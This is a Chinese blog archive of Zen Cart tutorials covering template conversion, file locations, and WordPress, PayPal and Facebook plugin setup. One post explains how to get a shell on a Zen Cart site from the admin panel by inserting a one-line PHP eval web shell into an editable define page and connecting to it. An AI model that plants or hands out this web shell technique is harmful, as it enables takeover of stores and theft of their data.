<!– footer //–> 到 <!– footer_eof //–> 之间的内容作为\includes\templates\mytemplate\common\tpl_footer.php,删除该文件内原来的内容。

(有些模板把边框部分的显示也放到header.php中,那么你需要找出属于边框的部分并删除)

9. 现在,整个网站的外观已经基本出来了。需要替换上面的这两个文件内的链接,这里是模板转换的关键。根据下面的模式替换,第一行是需要替换的类似链接,第二行是正确的代码:
http://www.domainname.com/osc/index.php
<?php echo zen_href_link(FILENAME_DEFAULT); ?>

http://www.domainname.com/osc/account.php
<?php echo zen_href_link(FILENAME_ACCOUNT, ”, ‘SSL’); ?>

http://www.domainname.com/osc/shopping_cart.php
<?php echo zen_href_link(FILENAME_SHOPPING_CART, ”, ‘NONSSL’); ?>

http://www.domainname.com/osc/checkout_shipping.php
<?php echo zen_href_link(FILENAME_CHECKOUT_SHIPPING, ”, ‘SSL’); ?>

http://www.domainname.com/osc/shipping.php
<?php echo zen_href_link(FILENAME_SHIPPING); ?>

http://www.domainname.com/osc/advanced_search.php
<?php echo zen_href_link(FILENAME_ADVANCED_SEARCH); ?>

http://www.domainname.com/osc/products_new.php
<?php echo zen_href_link(FILENAME_PRODUCTS_NEW); ?>

http://www.domainname.com/osc/specials.php
<?php echo zen_href_link(FILENAME_SPECIALS); ?>

http://www.domainname.com/osc/featured_products.php
<?php echo zen_href_link(FILENAME_FEATURED_PRODUCTS); ?>

http://www.domainname.com/osc/products_all.php
<?php echo zen_href_link(FILENAME_PRODUCTS_ALL); ?>

http://www.domainname.com/osc/upcoming_products.php
<?php echo zen_href_link(FILENAME_UPCOMING_PRODUCTS); ?>

http://www.domainname.com/osc/contact_us.php
<?php echo zen_href_link(FILENAME_CONTACT_US); ?>

还有一些必须的代码包括,

用户登录、登出的代码:
<?php if ($_SESSION[‘customer_id’]) { ?>
<a href=”<?php echo zen_href_link(FILENAME_LOGOFF, ”, ‘SSL’); ?>”><?php echo HEADER_TITLE_LOGOFF; ?></a>&amp;nbsp;|&amp;nbsp;
<a href=”<?php echo zen_href_link(FILENAME_ACCOUNT, ”, ‘SSL’); ?>”><?php echo HEADER_TITLE_MY_ACCOUNT; ?></a>
<?php
} else {
if (STORE_STATUS == ‘0’) {
?>
<a href=”<?php echo zen_href_link(FILENAME_LOGIN, ”, ‘SSL’); ?>”><?php echo HEADER_TITLE_LOGIN; ?></a>
<?php } } ?>

货币选择方框的代码:
<?php

if (isset($currencies) && is_object($currencies)) {

reset($currencies->currencies);
$currencies_array = array();
while (list($key, $value) = each($currencies->currencies)) {
$currencies_array[] = array(‘id’ => $key, ‘text’ => $value[‘title’]);
}

$hidden_get_variables = ”;
reset($_GET);
while (list($key, $value) = each($_GET)) {
if ( ($key != ‘currency’) && ($key != zen_session_name()) && ($key != ‘x’) && ($key != ‘y’) ) {
$hidden_get_variables .= zen_draw_hidden_field($key, $value);
}
}
}
$content = zen_draw_form(‘currencies’, zen_href_link(basename(ereg_replace(‘.php’,”, $PHP_SELF)), ”, $request_type, false), ‘get’);
$content .= zen_draw_pull_down_menu(‘currency’, $currencies_array, $_SESSION[‘currency’], ‘onchange=”this.form.submit();” style=”width: 100%”‘) . $hidden_get_variables . zen_hide_session_id();
$content .= ‘</form>’;

echo $content;
?>

语言选择的代码:
<?php
if (!isset($lng) || (isset($lng) && !is_object($lng))) {
$lng = new language;
}
$lng_cnt = 0;
while (list($key, $value) = each($lng->catalog_languages)) {
$content .= ‘<a href=”‘ . zen_href_link($_GET[‘main_page’], zen_get_all_get_params(array(‘language’, ‘currency’)) . ‘language=’ . $key, $request_type) . ‘”>’ . zen_image(DIR_WS_LANGUAGES . $value[‘directory’] . ‘/images/’ . $value[‘image’], $value[‘name’]) . ‘</a>&amp;nbsp;&amp;nbsp;’;
$lng_cnt ++;
if ($lng_cnt >= MAX_LANGUAGE_FLAGS_COLUMNS) {
$lng_cnt = 0;
$content .= ‘<br />’;
}
}
echo $content;
?>

经过以上的替换,tpl_header.php和tpl_footer.php中所有的外部链接都应该替换为你自己的链接了。
如果还有类似 http://www.domainname.com/osc/index.php?cPath=37_28 的链接,这是单个商品的链接,可以删除,或改成你自己的商品链接。

10. 下一步,将tpl_header.php和tpl_footer.php这两个文件中的文字,替换为PHP代码,以支持多语言。如果你只用单一语言,直接修改为你需要的文字即可。例如,
类似 “创建帐号” 改为 <?php echo HEADER_TITLE_CREATE_ACCOUNT; ?>
类似 “商品分类” 改为 <?php echo HEADER_TITLE_CATALOG; ?>
类似 “登出” 改为 <?php echo HEADER_TITLE_LOGOFF; ?>
类似 “我的帐号” 改为 <?php echo HEADER_TITLE_MY_ACCOUNT; ?>
类似 “登录” 改为 <?php echo HEADER_TITLE_LOGIN; ?>

类似 “购物车中的货品” 改为 <?php echo HEADER_TITLE_CART_CONTENTS; ?>
类似 “结帐” 改为 <?php echo HEADER_TITLE_CHECKOUT; ?>

类似”搜索”改为 <?php echo BOX_HEADING_SEARCH; ?>
类似”高级搜索”改为 <?php echo BOX_SEARCH_ADVANCED_SEARCH; ?>

类似 “特价商品” 改为 <?php echo CATEGORIES_BOX_HEADING_SPECIALS; ?>
类似 “新进商品” 改为 <?php echo CATEGORIES_BOX_HEADING_WHATS_NEW; ?>
类似 “推荐商品” 改为 <?php echo CATEGORIES_BOX_HEADING_FEATURED_PRODUCTS; ?>
类似 “所有商品” 改为 <?php echo CATEGORIES_BOX_HEADING_PRODUCTS_ALL; ?>

类似 “联系我们” 改为 <?php echo BOX_INFORMATION_CONTACT; ?>
类似 “货币” 改为 <?php echo BOX_HEADING_CURRENCIES; ?>
类似 “语言” 改为 <?php echo BOX_HEADING_LANGUAGES; ?>

还有一些可能用到的代码:
引文:

<?php echo TEXT_YOUR_IP_ADDRESS . ‘ ‘ . $_SERVER[‘REMOTE_ADDR’]; ?>
<?php echo FOOTER_TEXT_BODY; ?>
<div>Parse Time: <?php echo $parse_time; ?> – Number of Queries: <?php echo $db->queryCount(); ?> – Query Time: <?php echo $db->queryTime(); ?></div>

经过以上的十步操作,基本形成了网站的外观,下面要调整边框的模板了。待续。

——————————————————————————-

补充:sideboxes里的模块随意插入到网页任意位置方法
参考search_header.php的做法:

require($template->get_template_dir($column_box_default, DIR_WS_TEMPLATE, $current_page_base,’common’) . ‘/’ . $column_box_default);

改为
require($template->get_template_dir (‘tpl_box_你自定义的文件名.php’,DIR_WS_TEMPLATE, $current_page_base,’common’). ‘/tpl_box_你自定义的文件名.php’);

在common目录下建立此文件名:tpl_box_你自定义的文件名.php
内容:<?php echo $content; ?>
插入模块时参考写法:<?php require(DIR_WS_MODULES . ‘sideboxes/’ . ‘search_header.php’); ?>

分类:Zencart 标签:,

zencart模板的修改

2011-08-22 留下评论

下面简单的介绍下zencart网站模板的修改。
修改较多的地方:(常用代码)
一:头部
文件为(例子):D:\AppServ\www\zencart12698\includes\templates\theme3\common-tpl_header.php
1.搜索模块功能:——-
标题:<?php echo BOX_HEADING_SEARCH;?>:
先在后台将搜索开启”单一显示” 再加上下面这段代码(搜索表单)
<?php require(DIR_WS_MODULES . ‘sideboxes/search_header.php’); ?>
2.购物车模块代码:——–
<strong><?php echo(BOX_HEADING_SHOPPING_CART);?></strong>&nbsp;
<?php echo BOX_SHOPPING_CART_NOWYOU; ?>&nbsp;<a href=”<?php echo (zen_href_link(FILENAME_SHOPPING_CART));?>”>
<?php echo($_SESSION[‘cart’]->count_contents()); ?> <?php echo BOX_SHOPPING_CART_ITEMS; ?></a>
3.货币模块代码:——
货币标题:<?php echo BOX_HEADING_CURRENCIES; ?>
货币: <?php $column_box_default=”tpl_box_header.php”; require(DIR_WS_MODULES . ‘sideboxes/currencies.php’);?>
4.语言模块代码:—–
语言标题:<?php echo BOX_HEADING_LANGUAGES ?>:
语言: <?php $column_box_default=”tpl_box_header.php”; require(DIR_WS_MODULES . ‘sideboxes/languages.php’); ?>
5.注册模块登陆:——-
<div>
<?php echo ‘<a href=”‘ . HTTP_SERVER . DIR_WS_CATALOG . ‘”>’; ?><?php echo HEADER_TITLE_CATALOG; ?></a>
&nbsp; | &nbsp; <?php if ($_SESSION[‘customer_id’]) { ?>
<a href=”<?php echo zen_href_link(FILENAME_LOGOFF, “, ‘SSL’); ?>”><?php echo HEADER_TITLE_LOGOFF; ?></a>&nbsp; | &nbsp;
<a href=”<?php echo zen_href_link(FILENAME_ACCOUNT, “, ‘SSL’); ?>”><?php echo HEADER_TITLE_MY_ACCOUNT; ?></a>&nbsp; | &nbsp;
<?php } else {
if (STORE_STATUS == ‘0′) { ?>
<a href=”<?php echo zen_href_link(FILENAME_LOGIN, “, ‘SSL’); ?>”><?php echo HEADER_TITLE_LOGIN; ?></a>&nbsp; | &nbsp;
<?php } } ?>
<?php if ($_SESSION[‘cart’]->count_contents() != 0) { ?>
<a href=”<?php echo zen_href_link(FILENAME_SHOPPING_CART, “, ‘NONSSL’); ?>”><?php echo HEADER_TITLE_CART_CONTENTS; ?></a>&nbsp; | &nbsp;
<a href=”<?php echo zen_href_link(FILENAME_CHECKOUT_SHIPPING, “, ‘SSL’); ?>”><?php echo HEADER_TITLE_CHECKOUT; ?></a><?php }?>
</div>
6.、头部导航栏:———-
<!-bof-header ezpage links->
<?php if (EZPAGES_STATUS_HEADER == ‘1′ or (EZPAGES_STATUS_HEADER == ‘2′ and (strstr(EXCLUDE_ADMIN_IP_FOR_MAINTENANCE, $_SERVER[‘REMOTE_ADDR’])))) { ?>
<?php require($template->get_template_dir(‘tpl_ezpages_bar_header.php’,DIR_WS_TEMPLATE, $current_page_base,’templates’). ‘/tpl_ezpages_bar_header.php’); ?>
<?php } ?>
<!-eof-header ezpage links->
<div> <?php include(DIR_WS_MODULES . zen_get_module_directory(‘ezpages_bar_header.php’));?>
<?php if (sizeof($var_linksList) >= 1) { ?>
<div id=”navEZPagesTop”><ul>
<?php for ($i=1, $n=sizeof($var_linksList); $i<=$n; $i++) { if($i==1){ ?><li> <?php } else{?><li><?php }?>
<a href=”<?php echo $var_linksList[$i][‘link’]; ?>”><?php echo $var_linksList[$i][‘name’]; ?></a><?php echo ($i < $n ? EZPAGES_SEPARATOR_HEADER : “) . “\n”; ?>
<?php } // end FOR loop ?></li></ul><?php } ?>
7.logo调用:
<?php echo ‘<a href=”‘ . HTTP_SERVER . DIR_WS_CATALOG . ‘”>’ . zen_image($template->get_template_dir(HEADER_LOGO_IMAGE, DIR_WS_TEMPLATE, $current_page_base,’images’). ‘/’ . HEADER_LOGO_IMAGE, HEADER_ALT_TEXT) . ‘</a>’; ?>
二:底部:差不多都是一致的
文件为(例子): D:\AppServ\www\zencart12698\includes\templates\theme3\common-tpl_footer.php
Paypal:图标代码—— <?php echo zen_image(PAYPAL_LOGO,PAYPAL_BUTTON); ?>
三:中间部分:
左边:tpl_box_default_left.php(左栏公共部分) 分类列表:tpl_categories.php
右边: tpl_box_default_right.php(右栏公共部分)
中间:tpl_main_page.php(整体文件包含头中尾三部分).
1.导航栏这三个项的修改内容页为:(样式须一致须同时修改方便以后调用)
new products/all products/featured products
D:\AppServ\www\zencart\includes\templates\zencart12998\templates\tpl_modules_products_…_listing.php
2.在主页中间部分显示的三个页面Special/new/featured/(样式一致)
D:\AppServ\www\zencart\includes\modules
3. 修改主分类下的子分类的页面:
tpl_index_categories.php /
zencart定义简易页面的方法:
1. 在后台:TOOL->EZ-Pages 新建一个页面.
2.在前function_general.php文件中加入下面这个方法:(注:表名的选择。)
function zen_define_page_content($title) {
global $db;
$title = $db->prepare_input($title);
$sql = “SELECT `pages_html_text` FROM “.TABLE_EZPAGES.”_content WHERE `pages_title` = ‘{$title}’ AND `languages_id` = {$_SESSION[‘languages_id’]}”;
$pages = $db->Execute($sql);
return $pages->fields[‘pages_html_text’];
}
3、在前台需要显示的位置调用并输出此方法即可。如:<?php echo zen_define_page_content(‘test_ezpage’); ?>
多图广告的站点可以参照站点”huangsllc” banner_box_all该广告组可以添加无数条广告。只要设置广告属于它的组名就可以。
4.(Zen-cart)添加如下模式的页面http://172.16.2.35:8035/lfcoolfr/index.php?main_page=test:
在模板的D:\AppServ\www\lfcoolfr\includes\modules\pages目录下新建一个文件夹命名为”test”复制该目录下page_2里的文件header_php.php,将这个文件
放到test目录中去; 然后:到该目录下D:\AppServ\www\lfcoolfr\includes\templates\peachblossomboutique\templates 新建一个文件并命名为:如(tlp_test_default.php)
以上操作都做完了后,可去前台查看效果:http://172.16.2.35:8035/lfcoolfr/index.php?main_page=test该页面的主体内容将显示tlp_test_default.php里面包含的内容
以下是同事总结的(引用过来与大家分享!)

标准模板设计文档
模仿的模板为http://osc.template-help.com/zencart_24240/index.php
一、采集
用Teleport Pro工具采集要模仿的站点
二、添加新模板
用zen-cart建立新站点,在\includes\templates下添加一个新模板,模板目录的名字和要模仿的站的模板目录同名(theme210),复制默认模板template_default下的所有文件到新的模板文件夹,修改template_info.php文件,将其中的$template_name变量设置为当前的模板名字。
三、复制采集的文件到模板文件夹
复制采集好的文件(CSS样式表,图片等)到新模块的对应文件夹。
四、修改CSS,删除类似/*tpa= */这样的语句
在Macromedia中用替换勾选正则表达式查找框中输入/\*t(.)*\*/替换框中留空,点替换全部。
五、后台设置好左右栏目
进入后台修改默认模板为新添加的模板,根据要模仿的网站在后台商店设置→布局设置中设置好左右栏的状态以及宽度,在工具→外观控制中设置好左边栏和右边栏的各栏目(状态和顺序)。
六、后台设置好头部的导航条和底部的导航条
进入后台工具→简易页面管理,按照要模仿的模块的导航条设置好页眉和页脚(状态和顺序),进入商店设置→导航条分割符设置好导航条的分割符。
七. 了解要模仿的网站的整体布局
用火狐打开要模仿的站点,用FIREBUG查看该网站的整体布局,头部、中间部分、底部。该网站是最外面是用一个classs为main_t的大div包裹起来,头部是class为header_t的div,中间是class为content_t上的div,底部是class为footer_t的div。中间的div中又包含一个表格,表格有一行三列,第一列是左边栏第二列是一个小的图像,作用是分割第一列和第三列,第三列是中间公用的部分。
七、修改common下的tpl_main_page.php文件
了解好整体布局情况后,修改模板的整体布局模板文件tpl_main_page.php,
因为他首页的body的ID值为indexbody而不是indexHomebody所以将indexHome改为index,将默认模板外面的div的属性id=”mainWrapper” 改为需要模仿的站点的属性class=”main_t”,由于有一个广告位只有在首页才显示的,所以要用$this_is_home_page判断是否是主页再显示。
八、修改common下的tpl_header.php文件
按照模仿的网站的标签一个模块一个模块添加进去,依次添加logo模块、货币、语言、登录、简易页面头部、搜索,因为默认情况下语言和货币模块在结账页面时不显示的,所以要修改源文件中$show_currencies= false;,将其改为 $show_currencies= true;语言模块也做同样修改。
九、修改左侧的栏目
左侧栏目模块相对应的模板都在sideboxes目录下,每个模块都会用到common下的tpl_box_default_left.php来输出。
十、修改common下的tpl_footer.php文件
底部文件添加一个脚部的简易页面和一个广告位
十一、首页推荐产品模块
首页的推荐产品模块对应的模板是tpl_modules_featured_products.php,数据处理是在modules下的featured_products.php,该文件会得到一个3维数组$row代表行,$col代表列,键params表示的是标题的参数,键text是代表内容,显示是加载common下的tpl_columnar_display.php,他会循环输出featured_products.php模块下生成的数组,tpl_columnar_display.php是多个公用的,所以要是几个公用的样式一样的话就改tpl_columnar_display.php,要是不一样就改modules下的featured_products.php。
十二、新产品,所有产品模块
新产品,所有产品模块布局相近,放一起做,新产品对应的模板是tpl_products_new_default.php,其中产品的列表用的是tpl_modules_products_new_listing.php,将这2个文件改为和模仿的网站的样式一样就可以了,所有产品模块跟新产品类似。
十三、特价产品
特价产品对应的模块是tpl_specials_default.php,他产品类表用到的模块是tpl_columnar_display.php,数据处理是在modules\pages\specials\ main_template_vars.php中处理的。修改这2个文件跟模板一致就可以了。
十四、Reviews
修改tpl_reviews_default.php就可以了
十五、分类类表模块
分类类表包括2个,一个是该分类包含子分类,一个是该分类不包含子分类
包含子分类的默认模板是tpl_index_categories.php他会用到tpl_modules_category_row.php,该文件 包含category_row.php进行数据处理,包含tpl_columnar_display.php进行输出, 不包含子分类的默认的模板是tpl_index_product_list.php,产品列表会用到tpl_modules_product_listing.php,该文件会引用product_listing.php进行数据处理,用tpl_tabular_display.php进行数据输出。
十六、产品详细信息模块
产品详细信息模块的对应模板是tpl_product_info_display.php,修改该文件就可以了。

分类:Zencart 标签:,

zencart 模板文件详细位置

2011-08-21 留下评论

首页界面:/include/templates/zccn/common/tpl_main_page.php

首页主样式表:/include/templates/zccn/css/schinese_stylesheet.css

首页左边栏目: /includes/templates/template_default/common/tpl_box_default_left.php

商品分类内容修改: /includes/modules/sideboxes/categories.php /includes/templates/zccn/sideboxes/tpl_categories.php

推荐产品 /includes/modules/sideboxes/featured.php /includes/templates/template_default/sideboxes/tpl_featured.php

新进产品 /includes/modules/sideboxes/whats_new.php /includes/templates/template_default/sideboxes/tpl_whats_new.php

特价产品 /includes/modules/sideboxes/specials.php /includes/templates/template_default/sideboxes/tpl_specials.php

数据库表 /includes/database_tables.php

首页中间商品修改: /includes/templates/template_default/common/main_template_vars.php

/includes/templates/template_default/templates/tpl_index_default.php

内页中间商品修改: /includes/templates/template_default/templates/tpl_index_catergories.php

首页中间 August新进商品 /includes/templates/template_default/templates/tpl_modules_whats_new.php

首页中间 August特价商品 /includes/templates/template_default/templates/tpl_modules_specials_default.php

首页中间 推荐商品 /includes/templates/template_default/templates/tpl_modules_featured_products.php

首页右边栏目: /includes/templates/template_default/common/tpl_box_default_right.php

商品搜索 /includes/templates/template_default/sideboxes/tpl_search.php

客服中心 /includes/templates/template_default/sideboxes/tpl_ezpages.php

畅销商品 /includes/templates/template_default/sideboxes/tpl_best_sellers.php

商品评论 /includes/templates/template_default/sideboxes/tpl_reviews_write.php

在线名单 /includes/templates/template_default/sideboxes/tpl_whos_online.php

分类:Zencart 标签:,

zencart任意系统后台拿shell

2011-08-21 留下评论

zencart系统目前是国内做外贸的朋友用最多的系统,但是他的1.38就爆过漏洞,不过1.39一直没听说有漏洞,前段日子发现黑面说有漏洞,看了他的文章,标记了一下,以后说不定能用到

ZEN CAER后台路径 没修改是 admin 爆原始地址 大家都知道我就不说了。
先进后台:先点– 工具 –页面编辑 –页面编辑: english ,

选择要编辑的文件

… define_checkout_success.php

define_conditions.php

define_contact_us.php

define_discount_coupon.php

define_main_page.php

define_page_2.php

define_page_3.php

define_page_4.php

define_page_not_found.php

define_privacy.php

define_shippinginfo.php

define_site_map.php

define_subscribe.php

define_unsubscribe.php

文本编辑器 纯文本 HTMLarea FCKeditor TinyMCE 这里选择FCKeditor 然后选择左面可编辑的文件名称 然后选择FCK的源代码编辑 因为其他编辑器是文本的,FCK支持源代码
不然你编辑文本文件拿不到shell。

注意: 你应该编辑位于当前模板目录中的文件, 例如: /languages/english/html_includes/
切记在修改文件后做好备份.

正在编辑的文件:
/home/cheapjer/public_html/includes/languages/english/html_includes/zcen/define_page_4.php 这里就是网站的原始地址了。
然后编辑插入一个 <?php eval($_POST[a])?> 我这里随便拿个一句话做示范 然后保存 然后 XXX.COM/includes/languages/english/html_includes/zcen/define_page_4.php 这里用客户端连接就可以了。

分类:Zencart 标签:, ,

zencart直接调用wordpress博客系统文章的方法

2011-08-21 留下评论
首先,把WordPress安装到zen-cart一个子目录里,做好优化装好插件,设置好固定连接等。
然后,在以下文件/includes/templates/template_default/templates/tpl_product_info_display.php的合适的地方加入下面两行代码
<?php require(‘../wordpress所在目录/wp-blog-header.php’); ?> 这行调用WordPress自带函数,目录地址要随着WordPress安装目录变化而变化
<?php get_archives(‘postbypost’, 10); ?>这里的10指调用的最新文章个数。
注意:该方法无需安装wordpress on zencart插件。
分类:WordPress, Zencart 标签:,

zen-cart网店系统修改title,keywords和description

2011-08-21 留下评论

zencart
貌似不可以在后台修改title等等,通过修改文件可以

具体路径如下
includes/languages/english/meta_tags.php

// page title
define(‘TITLE’, ‘Zen Cart!’);

// Site Tagline
define(‘SITE_TAGLINE’, ‘The Art of E-commerce’);

修改为

// page title
define(‘TITLE’, STORE_NAME);

// Site Tagline
define(‘SITE_TAGLINE’, “);

zencart添加paypal快速支付(无需注册会员)

2011-08-21 留下评论

Paypal为大家提供了三种支付方式,最快捷,直接点击check out即可

上面的功能很简单,并不需要自己开发,这是zencart之前开发好的

需设置的地方也很少,主要是paypal的 api ,这个自己到paypal申请即可

用户付款通知设置

操作非常简单,即使不会编程也一样完成这种支付接口

分类:Zencart 标签:, ,

WordPress On ZenCart 插件的安装步骤

2011-08-21 留下评论

如果你的ZenCart需要一个Blog来发布一些你的最新动态,

可以试试Wordpress,并且用WOZ这个ZenCart的Module来把它们关联起来。

WOZ的全名叫Wordpress On ZenCart。

下面就详细介绍一下WOZ的安装方法,当然你可以在WOZ包里找到英文的安装说明。

我所使用的版本为ZenCart1.3.8和Wordpress2.8.5,至于其它版本能否集成,没有测试过。

WordPress on ZenCart总的来说有两种安装模式:

第一种是把Wordpress的文件全部解压到ZenCart的根目录下,另一种方法是把Wordpress单独放到ZenCart下新建的一个目录里。

两种方法最后访问Wordpress的地址都是:

[Zen-Cart URL]/index.php?main_page=wordpress

第一步,安装Wordpress 把Wordpress解压到你的ZenCart目录下

1.安装Wordpress

2.设置Wordpress 在Wordpress的后台设置一下,setting -> General -> Blog address(URL) 把Blog address (URL)改为[Zen-Cart URL],即http://your.zen-cart.com 把主题设为默认主题。

3.上传WOZ的文件 建议用ftp直接覆盖: 把WOZ解压后的ZC_ROOT目录下的文件上传到服务器Zen-cart的安装目录下。

把WOZ解压后的WP_ROOT目录下的文件上传到服务器WordPress的安装目录下。

再把/ZC_ROOT/includes/templates/MY_TEMP/里的CSS文件上传到你的Zen-cart模板里的CSS文件夹里。

这个是Wordpress的显示主题。

4.修改Wordpress的文件 在你的Wordpress安装目录下,找到[Path of WordPress]/wp-include/template-loader.php,把所有的”exit;”都替换成”return;”。 如果你的Wordpress版本比较新,就不需要做这一步的工作了。

5.修改Zen-cart文件 打开Zen-cart安装目录下的[Path of Zen-Cart]/includes/extra_configures/wordpress-config.php,

把 define (‘ABSPATH’,’/var/www/vhost/example.com/public_html/blog/’);

替换成 define (‘ABSPATH’,'[Path of WordPress]’);

比如说,在我本地我是改为这样的东西: define (‘ABSPATH’,’E:/mywebs/zen-cart/blog/’); 记住,这个路径得是你服务器上的绝对路径。

6.布局设置 在ZenCart后台管理面板的admin panel › tools › Layout Boxes Controller里,选择打开你需要的Wordpress侧栏框。所有和Wordpress有关的侧栏框都是以WP_XXX格式存在的。

7.检查 现在你可以通过 http://your.zen-cart.com/index.php?main_page=wordpress 这个网址来访问你的Wordpress了。 如果你能看到Wordpress,则表明你已经把Wordpress集成到了ZenCart里了。 完成了这七步,基本上就把Wordpress的显示页面整合到了ZenCart里面。

分类:WordPress, Zencart 标签:,

ZenCart Auto Facebook插件的配置和使用方法

2011-07-24 留下评论

Facebook可以让用户实现虚拟交流,而不花任何费用。你知道FACEBOOK营销效果吗?Facebook网页的另 一个好处是,它帮助你提升搜索引擎排名。zencart是个开源的程序,各式各样的高级程序员对zencart插件开发,也进一步推动了ZENCART程 序的发展,至今有很多不错的zencart插件可以免费下载,本文主要介绍ZenCart auto facebook插件的主要功能以及如何安装。

ZenCart Auto Faceboo插件的主要功能:

1.Auto Facebook插件能够让你的zencart网站,在后台添加商品之后,会自动更新你网店的facebook.

需要的环境:

Zencart 1.3.9+
php 5+
cURL
JSON

ZenCart Auto Facebook插件的安装:

第一步:下载插件

ZenCart Auto Facebook插件的下载地址

第二步:创建facebook application

1.登录你的 facebook账户 (最好能用 zencart网店的专署Facebook账户,而非个人账户)

2.打开 http://www.facebook.com/developers 页面 ,然后点击 “Set Up New Application” 按钮.
Zencart auto facebook插件安装步骤演示图-Set Up New Application按钮

3. 设置 facebook application的名字
名字可以为 自己zencart网店的域名,或者其他
Zencart auto facebook插件安装步骤演示图-为facebook application命名
填好之后, 点击 “Create Application” 按钮

4.打开的新页面中是 输入验证码, 填好之后 点击 “Submit” 按钮

5. 新打开的页面是 填写 facebook application 的一些基本信息
Zencart auto facebook插件安装步骤演示图-填写about信息
填好之后 点击 “Save Changes” 按钮.

6.新打开的页面中,肯能会回到 facebook的 My Applications 页面,
Zencart auto facebook插件安装步骤演示图-Edit Settings
我们点击 “Edit Settings” 按钮,来回到 facebook applications 设置页面
7.在新打开的页面中 的做导航条中 选择 “Web Site”,
Zencart auto facebook插件安装步骤演示图-编辑Web Site信息
Site URL的填写格式为: http://zencartmentor.com/ 不要www 并且最后的 / 字符要写上
Site Domain的填写格式为: zencartmentor.com 不要http://www 以及 最后的 / 字符
填好后 点击 “Save Changes” 按钮.
然后 会回到 步骤6中的 My Applications 页面
页面中的 Application ID 以及 Application Secret 将在下一步中用到,故此页面暂不关闭

第三步:进行认证

1. 解压下载后的 压缩包.打开 facebook_authorization.php
在 第四行的 $app_id 的值 改为 上不一步中获得的 Application ID
在 第五行的 $app_secret 的值 改为 上不一步中获得的 Application Secret
在 第六行的 $app_location 的值 改为 http://zencartmentor.com/facebook_authorization.php (将 zencartmentor.com改为你自己的域名)
2. 将 facebook_authorization.php 文件上传到 zencart网站 根目录

3. 用浏览器 打开 步骤1中 $app_location 的地址, 即 http://zencartmentor.com/facebook_authorization.php

4. 出现如下图的新页面

Zencart auto facebook插件安装步骤演示图-Request for Permission
点击 “Allow” 按钮, 出现如下图新页面:

Zencart auto facebook插件安装步骤演示图-认证成功
页面中显示 的 page’s ID 以及 page’s Token
将在下一步中用到,最好将其保存.

第四步:配置文件

打开解压后文件中 admin/includes/modules/update_product.php 文件
找到 90行 – 95行的代码段, 如下:

view sourceprint?
1 $app_id = “Your Application ID”; //given when you created app

2 $app_secret = “Your Application Secret”; //given when you created app

3 $page_id = “Your page ID”; //obtained from running facebook_authorization.php from your browser

4 $page_token = “Your page token”; //long number obtained from facebook_authorization.php

5 $store_name = “yourstore.com”; // store name i.e. “Mary’s Car Shop”, or “MikesCupcakes.com.”

6 $store_url = ‘http://www.yourstore.com&#8217;; //path to your store without the trailing “/”
$app_id 以及 $app_secret 的值填写 第二步中步骤7 所获得的 Application ID 和 Application Secret
$page_id 以及 $page_token 的值填写 第三步中步骤4 所获得的 page’s ID 和 page’s Token
$store_name 根据自己情况填写
$store_url 的值 就是你的域名 但是 后面不能有 / 字符

改好之后保存

第五步:上传文件

将 解压包中的 admin 文件夹 重命名成你的zencart网站当前 后台文件夹的名字
然后 上传 这个文件夹 到 zencart网站根目录

这样 就安装完毕了
当你在后台 添加一个新商品之后,会将 商品信息自动添加到 你的Facebook.